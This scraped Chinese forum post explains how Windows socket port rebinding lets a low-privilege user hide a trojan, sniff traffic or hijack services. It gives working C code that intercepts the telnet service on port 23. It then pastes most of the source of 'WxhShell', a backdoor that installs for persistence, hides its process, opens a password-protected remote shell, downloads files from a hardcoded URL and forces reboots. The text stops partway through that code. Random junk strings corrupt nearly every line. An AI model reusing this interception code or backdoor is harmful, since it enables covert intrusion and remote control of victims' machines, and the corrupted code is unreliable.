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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FJa[ToZ4+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <JL\?)}n  
s- ,=e  
  saddr.sin_family = AF_INET; `Di ^6UK(  
fiE>H~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z^gQ\\,4  
`1fJ:b/M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H.YIv50E  
4|> rwQ~t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p^KlH=1n.6  
,7^d9v3t  
  这意味着什么?意味着可以进行如下的攻击: r,2Xu  
"x#]i aDjf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S'Z70 zJ  
dGbU{#"3s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2^)D .&  
=vqsd4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KInUe(g<9M  
^&+zA,aL,A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7tpAZ<{  
Mx O W)$f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ws-6W!Ib%  
@Jb@L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2BoFyL*  
bz, Da  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O.@g/05C  
,|T*|2Gm  
  #include (3 IZ  
  #include {S5RK-ax  
  #include &mN'Tk  
  #include    pU?{0xZH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y z[%MXI  
  int main() +1otn~(E  
  { Nb~,`bu,2  
  WORD wVersionRequested; w^06z,  
  DWORD ret; { 1+Cw?1d  
  WSADATA wsaData; z.eJEK  
  BOOL val; 3R5K}ZBi%  
  SOCKADDR_IN saddr; <8u>_o6  
  SOCKADDR_IN scaddr; o3Mf:;2cC  
  int err; R%>jJ[4\[  
  SOCKET s; b8rp8'M)  
  SOCKET sc; W|)GV0YM  
  int caddsize; oN *SRaAp  
  HANDLE mt; kQ@gO[hS  
  DWORD tid;   9@:BK;Fi  
  wVersionRequested = MAKEWORD( 2, 2 ); QCeMKjCmY  
  err = WSAStartup( wVersionRequested, &wsaData ); JB&G~7Q85  
  if ( err != 0 ) { y,MPGW_  
  printf("error!WSAStartup failed!\n"); Z5((1J9  
  return -1; jCU=+b=  
  } \Dn&"YG7  
  saddr.sin_family = AF_INET; B4`2.yRis  
   Oo FgQEr@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >vUB%OLyP  
"6?lQw e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iaY5JEV:CA  
  saddr.sin_port = htons(23); !Tv?%? 2l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /_]ltXD  
  { :W~6F*A  
  printf("error!socket failed!\n"); <f%ujrX  
  return -1; TqIAWbb&  
  } "gFxfWIA  
  val = TRUE; iJFr4o/R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hT?6sWa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lc]V\ 'e  
  { z)}3**3'y  
  printf("error!setsockopt failed!\n"); }7K@e;YUg  
  return -1; \ jE CSV|  
  } ^;.T}c%N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4w 'lu"U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8EOh0gk7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GxxDY]!  
N? M   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b`$yqi<[  
  { 0s1'pA'  
  ret=GetLastError(); G3G/ xC"  
  printf("error!bind failed!\n"); $30oc Tt{  
  return -1; W7t >&3l  
  } }*NF&PD5RU  
  listen(s,2); Y=r!2u6r~  
  while(1) *RBV'b  
  { )D;*DUtMVm  
  caddsize = sizeof(scaddr); ~e{H#*f&1/  
  //接受连接请求 `)T&~2n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1n_;kaY  
  if(sc!=INVALID_SOCKET) AIb>pL{  
  { g6WPPpqus  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X2qv^G,  
  if(mt==NULL) WE0}$P:  
  { t#Th9G]1  
  printf("Thread Creat Failed!\n"); @<2d8ed  
  break; Bz?l{4".  
  } 3?Lgtkb8  
  } {V}qwm?  
  CloseHandle(mt); W;4Lkk$  
  } Ejv%,q/T(  
  closesocket(s); ]bm=LA  
  WSACleanup(); "f4<B-9<$  
  return 0; a5|@R<iF  
  }   >-M ]:=L  
  DWORD WINAPI ClientThread(LPVOID lpParam) #b'N}2'p#V  
  { ^5>s7SGB"  
  SOCKET ss = (SOCKET)lpParam; $_sYfU9  
  SOCKET sc; C}q>YRubZ  
  unsigned char buf[4096]; .jA\f:u#  
  SOCKADDR_IN saddr; ld.7`)  
  long num; joqWh!kv7U  
  DWORD val; uMvb-8  
  DWORD ret; D?^Y`G$.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (ew} gJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b^x07lO  
  saddr.sin_family = AF_INET; Y&K <{\vE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `z9J`r= I  
  saddr.sin_port = htons(23); #;]2=@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :$?Q D  
  { iRNLKi  
  printf("error!socket failed!\n"); `?"6l5d.]  
  return -1; m[spn@SF  
  } #n3ykzoqIX  
  val = 100; dy<27=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;$7v%Ls=  
  { PnA?+u2m  
  ret = GetLastError(); pLnB)z?  
  return -1; v8m`jxII64  
  } sHdp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _\\ -md:  
  { M(enRs3`O  
  ret = GetLastError(); $ KB  
  return -1; )T1iN(Z  
  } ^/toz).Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v*z(@<Y  
  { 9[VxskEh  
  printf("error!socket connect failed!\n"); <r~wZ}s  
  closesocket(sc); qM",( Bh  
  closesocket(ss); T  p<s1'"  
  return -1; wC`;f5->  
  }  w_Uh  
  while(1) ZSB?Y 1wG  
  { l+zb~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vN65T$g7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L%t@,O#,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m|O1QM;T  
  num = recv(ss,buf,4096,0); $i#?v  
  if(num>0) zXZir7NfM  
  send(sc,buf,num,0); 6S1m<aH6  
  else if(num==0) 8]bz(P#  
  break; +&5' uAe  
  num = recv(sc,buf,4096,0); }Cj8  
  if(num>0) d(;4`kd*N  
  send(ss,buf,num,0); D."=k{r.  
  else if(num==0) 19t{|w<  
  break; z)-c#F@%  
  } W2]TRO  
  closesocket(ss); rjk( X|R*  
  closesocket(sc); 0fArF*  
  return 0 ; 63 2bN=>  
  } z wk.bf>m  
Y3Oz'%B  
@MbVWiv  
========================================================== fThgK;Qy'U  
<jA105U"m>  
下边附上一个代码,,WXhSHELL p?# pT}1  
nlc.u}#  
========================================================== },@``&e  
5MF#&v  
#include "stdafx.h" C&<~f#lB  
)8,|-o=  
#include <stdio.h> 7K;!iX<d  
#include <string.h> Y@uh[aS!  
#include <windows.h> )C~9E 5E  
#include <winsock2.h> Q@S-f:!  
#include <winsvc.h> $IX\O  
#include <urlmon.h> 3n]79+w@z  
* F4UAQzYb  
#pragma comment (lib, "Ws2_32.lib") nP3  E  
#pragma comment (lib, "urlmon.lib") UvJ; A  
h6v077qG  
#define MAX_USER   100 // 最大客户端连接数 `<frgXu64  
#define BUF_SOCK   200 // sock buffer [ f/I2  
#define KEY_BUFF   255 // 输入 buffer B&0; 4  
=&nW~<- v  
#define REBOOT     0   // 重启 @'6"7g  
#define SHUTDOWN   1   // 关机 /=:j9FF  
C! 9}  
#define DEF_PORT   5000 // 监听端口 =9wy/c$  
r^fe4b  
#define REG_LEN     16   // 注册表键长度 l \OLyQ  
#define SVC_LEN     80   // NT服务名长度 KP]"P*? ?  
F3M aqr y  
// 从dll定义API "i^ GmVn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ravyiO L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >''U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A8r^)QJP{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aYn^)6^  
K> g[k_  
// wxhshell配置信息 WXw}^v  
struct WSCFG { GVGlVAo|@  
  int ws_port;         // 监听端口 B1!kn}KlL{  
  char ws_passstr[REG_LEN]; // 口令 x;s0j"`Jb  
  int ws_autoins;       // 安装标记, 1=yes 0=no p@ NaD=9  
  char ws_regname[REG_LEN]; // 注册表键名 pzZk\-0R  
  char ws_svcname[REG_LEN]; // 服务名  #xh_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YJV%a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .a'f|c6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4rg2y]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xf[kI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^teq[l$;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zeb=8 Dg :  
tq1CwzRX  
}; > L2HET  
C1kYl0 zR[  
// default Wxhshell configuration /YAJbr  
struct WSCFG wscfg={DEF_PORT, +0Q,vK#j^  
    "xuhuanlingzhe", Fh$slow4!  
    1, Lh.b 5Q|  
    "Wxhshell", M5357Q  
    "Wxhshell", g4p  
            "WxhShell Service", ] }|byo  
    "Wrsky Windows CmdShell Service", SRIA*M.B}  
    "Please Input Your Password: ", Yr.sm!xA  
  1, ^TY ;Zp  
  "http://www.wrsky.com/wxhshell.exe", "Jq8?FoT  
  "Wxhshell.exe" B;>{0 s  
    }; K<`osdp=&  
`F YjQ e"p  
// 消息定义模块 !9Z r;K~\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DyJ.BQdk)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AlE8Xu9UB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -a,-J]d0+  
char *msg_ws_ext="\n\rExit."; <EO$]>;0  
char *msg_ws_end="\n\rQuit."; dO> VwP  
char *msg_ws_boot="\n\rReboot..."; q[q?hQ/b  
char *msg_ws_poff="\n\rShutdown..."; B%CTOi  
char *msg_ws_down="\n\rSave to "; CAq/K?:8  
S-Y=-"  
char *msg_ws_err="\n\rErr!"; ~}EMk3  
char *msg_ws_ok="\n\rOK!"; \wcam`f  
.IBp\7W!?E  
char ExeFile[MAX_PATH]; 'rp }G&m  
int nUser = 0; ^&@w$  
HANDLE handles[MAX_USER]; >@xrs  
int OsIsNt; &Mq~T_S  
@hQlrq5c  
SERVICE_STATUS       serviceStatus; Q/uwQ o/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z;Ez"t&U  
W&* f#E  
// 函数声明 MTg:dR_  
int Install(void); c #-U%qZ  
int Uninstall(void); M>9-=$7  
int DownloadFile(char *sURL, SOCKET wsh); tz4 ]qOH8  
int Boot(int flag); ^z1&8k"[^  
void HideProc(void); BS Iy+  
int GetOsVer(void); %,Sf1fUJ  
int Wxhshell(SOCKET wsl); 3s\.cG?`r  
void TalkWithClient(void *cs); [FA{x?v kf  
int CmdShell(SOCKET sock); c\B|KhDk  
int StartFromService(void); Vtc36-\1*  
int StartWxhshell(LPSTR lpCmdLine); *_a@z1  
x-OA([;/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f=C,e/sw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !tfb*@{;'  
IW 21T   
// 数据结构和表定义 S#)Eom?V  
SERVICE_TABLE_ENTRY DispatchTable[] = /Jf.y*;  
{ F <>!kK/c  
{wscfg.ws_svcname, NTServiceMain}, B~o\+n  
{NULL, NULL} wW>zgTG  
}; ) [0T16  
f` =CpO*  
// 自我安装 @KX \Er  
int Install(void) (" LQll9  
{ kt`nbm|aw  
  char svExeFile[MAX_PATH]; ];.pK  
  HKEY key; '!l 1=cZD  
  strcpy(svExeFile,ExeFile); "k]CW\H6z  
d ;vT ~;  
// 如果是win9x系统,修改注册表设为自启动 O"Ku1t!  
if(!OsIsNt) { O+g3X5f+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { * #jsgj[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | N0Z-|  
  RegCloseKey(key); 0/S_e)U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L}@c6fHG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3"o"fl  
  RegCloseKey(key); s! n<}C  
  return 0; (WJ${OW  
    } nF6q7  
  } nKW*Y}VO  
} x77l~=P+!  
else { >2bKSh  
PV|uPuz  
// 如果是NT以上系统,安装为系统服务 [2"<W! p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T]2q?; N  
if (schSCManager!=0) :'#TCDlOb  
{ ]-ZEWt6lsc  
  SC_HANDLE schService = CreateService me[DmiM,  
  ( 7AYd!n&S  
  schSCManager, 0-~\ W(  
  wscfg.ws_svcname, Fx-8M!  
  wscfg.ws_svcdisp, 9U$EJN_G  
  SERVICE_ALL_ACCESS, ^G6RjJxqp8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^i:`ZfA#  
  SERVICE_AUTO_START, (aD_zG=k5  
  SERVICE_ERROR_NORMAL, h/~n\0,J/  
  svExeFile, N[kwO1  
  NULL, iD<(b`S  
  NULL, xg)v0y~  
  NULL, E<yW\  
  NULL, )M)7"PC  
  NULL cA%%IL$R  
  ); ]`Oo%$Ue  
  if (schService!=0) rn<PR*  
  { #1>X58I^  
  CloseServiceHandle(schService); r*Yi1j/  
  CloseServiceHandle(schSCManager); }Ho Qwy|&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^^5&QSB:'  
  strcat(svExeFile,wscfg.ws_svcname); 8 Y5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { **}h&k&%2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,3@#F/c3i~  
  RegCloseKey(key); ) $PDo 7#  
  return 0; FJasS8  
    } `w]s;G[  
  } y@\V +  
  CloseServiceHandle(schSCManager); Yo[;W vu  
} 7)s^8+  
} "~D]E7Q3y  
r$2P;Cxj  
return 1; AhZ8 0!  
}  cReB~wk  
M bb x`  
// 自我卸载 Nm |!#(L  
int Uninstall(void) o7|eMe?<t  
{ ]xuG&O"SBV  
  HKEY key; 0qX3v<+[6  
<:?r:fQX  
if(!OsIsNt) { OF\rgz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L'u\ w  
  RegDeleteValue(key,wscfg.ws_regname); @|\}.M<e*)  
  RegCloseKey(key); =jN *P?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Hn/I,/  
  RegDeleteValue(key,wscfg.ws_regname); O} f80K  
  RegCloseKey(key); ^MVkZ{gtre  
  return 0; 9/nn)soC3  
  } L'F<ev  
} {?yr'*  
} 6L)%T02C  
else { s0PrbL%_`  
R) c'#St  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gvL f|+m  
if (schSCManager!=0) nw-I|PVTNa  
{ P>Ez'C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J>\B`E  
  if (schService!=0) 92EWIHEWZ  
  { t^w"w`v\u  
  if(DeleteService(schService)!=0) { p\bDY  
  CloseServiceHandle(schService); xXM{pd  
  CloseServiceHandle(schSCManager); utIX  %0  
  return 0; uvrB5=u  
  } t25,0<iW  
  CloseServiceHandle(schService); o_'p3nD  
  } iRrl^\qn  
  CloseServiceHandle(schSCManager); lBaR  
} }I :OsAw  
} XHK70: i  
^/r7@:  
return 1; m@^1JlH  
} -?0qf,W.  
yxH ( c  
// 从指定url下载文件 ?Orxmxc 2  
int DownloadFile(char *sURL, SOCKET wsh) t2l S ~l)  
{ QDu2?EYZq  
  HRESULT hr; o#skR4lwe  
char seps[]= "/"; Rb.SY{}C  
char *token; g[3)P+  
char *file; Ry'= ke  
char myURL[MAX_PATH]; _ A=$oVe  
char myFILE[MAX_PATH]; ~m$Y$,uH  
)gMG#>up@  
strcpy(myURL,sURL); ~P@Q7T*  
  token=strtok(myURL,seps); RRI"d~~F6  
  while(token!=NULL) -:na: Vsi  
  { PbmDNKEh{  
    file=token; S;)w.  
  token=strtok(NULL,seps); ; d J1  
  } -q*i_r:,  
} q$ WvY/  
GetCurrentDirectory(MAX_PATH,myFILE); =F@W gn,  
strcat(myFILE, "\\"); LbkF   
strcat(myFILE, file); GSRVe/ [  
  send(wsh,myFILE,strlen(myFILE),0); !7kG!)40  
send(wsh,"...",3,0); (_"*NY0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T7#W0^tj  
  if(hr==S_OK) f` ;j:O  
return 0; uB]b}"+l  
else VSSu &Q  
return 1; `I3r3WyA  
L>3x9  
} 43@{JK9G  
/\hzb/  
// 系统电源模块 HbxL:~:}J  
int Boot(int flag) m8o(J\]  
{ ]]*7\ :cb  
  HANDLE hToken; D/Mi^5H)  
  TOKEN_PRIVILEGES tkp; sPR1?:0:  
MP>dW nl  
  if(OsIsNt) { v~^{{O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $GTU$4u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fe9LEM8j  
    tkp.PrivilegeCount = 1; [Ki0b^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -&-Ma,M?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +>r/0b  
if(flag==REBOOT) { SF>c\eTtx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cj1cZ-  
  return 0; ekWePL;rR2  
} f>N!wgo[  
else { wwyPl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #N`~xZ|$  
  return 0; *exS6@N]  
} e8GEoD  
  } K~| 4[\  
  else { * iF]n2g:  
if(flag==REBOOT) { !y@6Mm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CW,Wx:Y  
  return 0; DKBSFm{~Q  
} <=>=.kmGt  
else { s;6CExH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) * /:x sI  
  return 0; l p(8E6  
} Ro9tZ'N!S  
} id1s3b;  
,&R/4 :I  
return 1; -}KC=,]vh  
} @*6 C=LL  
Z7=`VNHc  
// win9x进程隐藏模块 `.i!NBA'6  
void HideProc(void) .p e(lP  
{ R wZ]),o  
1*@'-mj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jz2N  
  if ( hKernel != NULL ) pP*a  
  { $d_|NssvU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;n&t>pBM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OHhsP}/  
    FreeLibrary(hKernel); +Zaj,oEE  
  } T Kg aV;92  
rV T{90,  
return; i}B2R$Z3  
} >kW@~WDMu  
oz}+T(@O  
// 获取操作系统版本 U G~ba  
int GetOsVer(void) }<9cL'  
{ TzNn^ir=HX  
  OSVERSIONINFO winfo; $3s@}vLd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {/ BT9|LI  
  GetVersionEx(&winfo); "gDb1h)8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =*r]) Vg^  
  return 1; osX8eX]\  
  else RsY3V=u  
  return 0; 'qOREN  
} fmb} 2h  
"HDcmIXg&  
// 客户端句柄模块 @tZ&2RY1  
int Wxhshell(SOCKET wsl) @Bf%s(Uj+  
{ `Ch9~*p  
  SOCKET wsh; @NNq z  
  struct sockaddr_in client; SV~cJ]F  
  DWORD myID; q)^Jj ?W  
A m>cd;  
  while(nUser<MAX_USER) Fd[zDz  
{ 4}eepJOn  
  int nSize=sizeof(client); qa0 yg8,<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $ >u*} X9  
  if(wsh==INVALID_SOCKET) return 1; {z")7g ]l  
-bSSP!f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nw1#M%/!r!  
if(handles[nUser]==0) 7Z-O_h3;)@  
  closesocket(wsh); Vv.|br`;}  
else R' !  
  nUser++; br":y>=,  
  } {;:/-0s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IHcD*zQ  
xT+zU}z  
  return 0; B#.L  
} HLV2~5Txc  
mg$]QnbAnH  
// 关闭 socket `CgaS#  
void CloseIt(SOCKET wsh) s#)5h0t#du  
{ <7j87  
closesocket(wsh); BA%pY|"Q  
nUser--; --|Wh^i>?  
ExitThread(0); WYEKf9}  
} k6sI L3QJ0  
3G`aHTWk  
// 客户端请求句柄 z6w3"9Um  
void TalkWithClient(void *cs) ).sRv6/c  
{ a{qM2P(S  
=A!@6Nw  
  SOCKET wsh=(SOCKET)cs; .`4{9?bR  
  char pwd[SVC_LEN]; g!+| I  
  char cmd[KEY_BUFF]; + EGD.S{  
char chr[1]; w (/aiV  
int i,j; /#VhkC _  
t\%HX.8[;%  
  while (nUser < MAX_USER) { S'_-G;g.  
7:)n$,31FW  
if(wscfg.ws_passstr) { 32/MkuY^u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DW_1,:,?7l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }L#_\  
  //ZeroMemory(pwd,KEY_BUFF); $0lD>yu  
      i=0; MBhWMCN2  
  while(i<SVC_LEN) { BE_ay-  
.7.b :Dn0  
  // 设置超时 9/ibWa\.  
  fd_set FdRead; r?Wk<>%>  
  struct timeval TimeOut; .xH5fMj,"  
  FD_ZERO(&FdRead); 83Q 4On  
  FD_SET(wsh,&FdRead); c%'RR?Tl  
  TimeOut.tv_sec=8; %|oJ>+  
  TimeOut.tv_usec=0; k|lcc^[0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }DK7'K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); znaUBv_  
T QSzx%i2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ji#U s:h  
  pwd=chr[0]; b{]z w pf  
  if(chr[0]==0xd || chr[0]==0xa) { Dm-zMCf}Q  
  pwd=0; I/L_@X<*r  
  break; fv9V7  
  } Te}8!_ohyC  
  i++; fDvl/|62{  
    } Db1pW=66:  
'{ V0M<O  
  // 如果是非法用户,关闭 socket ?Vf o+a,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N =QfP  
} Y! gCMLL  
glF; e T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8F&=a,ps[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {O`w,dMOI  
'4|-9M3f  
while(1) { }9W4"e2)  
#R.-KUW:  
  ZeroMemory(cmd,KEY_BUFF); }#Qc \eud  
Y#lk6  
      // 自动支持客户端 telnet标准   Ko&>C_N  
  j=0; =yyp?WmC8  
  while(j<KEY_BUFF) { Bb}fj28  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A3iFI9Iv  
  cmd[j]=chr[0]; }`,t$NV`  
  if(chr[0]==0xa || chr[0]==0xd) { "huFA|`  
  cmd[j]=0; dK2p7xo  
  break; 4*cU<  
  } #[`:'e  
  j++; m/y2WlcRx  
    } < VSA  
jhg;%+KB  
  // 下载文件 6w(6}m.L^  
  if(strstr(cmd,"http://")) { U}PiY"S<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _G.>+!"2/  
  if(DownloadFile(cmd,wsh)) UM6(s@$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s8#X3Rp  
  else mM-8+H?~b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ktdW`R\+  
  } @p NNq  
  else { WUsKnf  
371 TvZ4  
    switch(cmd[0]) { pFHz"]  
  9uBM<  
  // 帮助 ~(IB0=A{v  
  case '?': { i2&ed_h<?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _cJ2\`M  
    break; O2BDL1o  
  } LM-J !44  
  // 安装 hijgF@  
  case 'i': { 8qEVOZjV&  
    if(Install()) vOc 9ZE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0#S W!b|%  
    else K?zH35f$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )l[M Q4vWW  
    break; E7Y`|nT  
    }  uJ5Eka  
  // 卸载 m:WyuU<  
  case 'r': { , eZ1uBI?  
    if(Uninstall()) Qi LEL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %d(^d  
    else eQD)$d_5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y>EzTV  
    break; [5MJwRM^!;  
    } P5#r,:zL  
  // 显示 wxhshell 所在路径 J<dVT xK12  
  case 'p': { Q'YH>oGh^  
    char svExeFile[MAX_PATH]; \a6^LD}B  
    strcpy(svExeFile,"\n\r"); Z]j*9#G1s  
      strcat(svExeFile,ExeFile); .72S oT  
        send(wsh,svExeFile,strlen(svExeFile),0); EVVP]ND  
    break; S!G(a"<W  
    } /`6ZAo m9  
  // 重启 "gne_Ye.  
  case 'b': { g)_e]&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3`ELKq  
    if(Boot(REBOOT)) v {jQek4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Jrqm  
    else { G1"zElug  
    closesocket(wsh); 0DmMG  
    ExitThread(0); (h5'9r  
    } 8rMX9qTO@  
    break; I>[RqG  
    } =|%Cu&  
  // 关机 -sjd&)~S[  
  case 'd': { pm\x~3jHs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -"h;uDz|z  
    if(Boot(SHUTDOWN)) !\"5rNy  
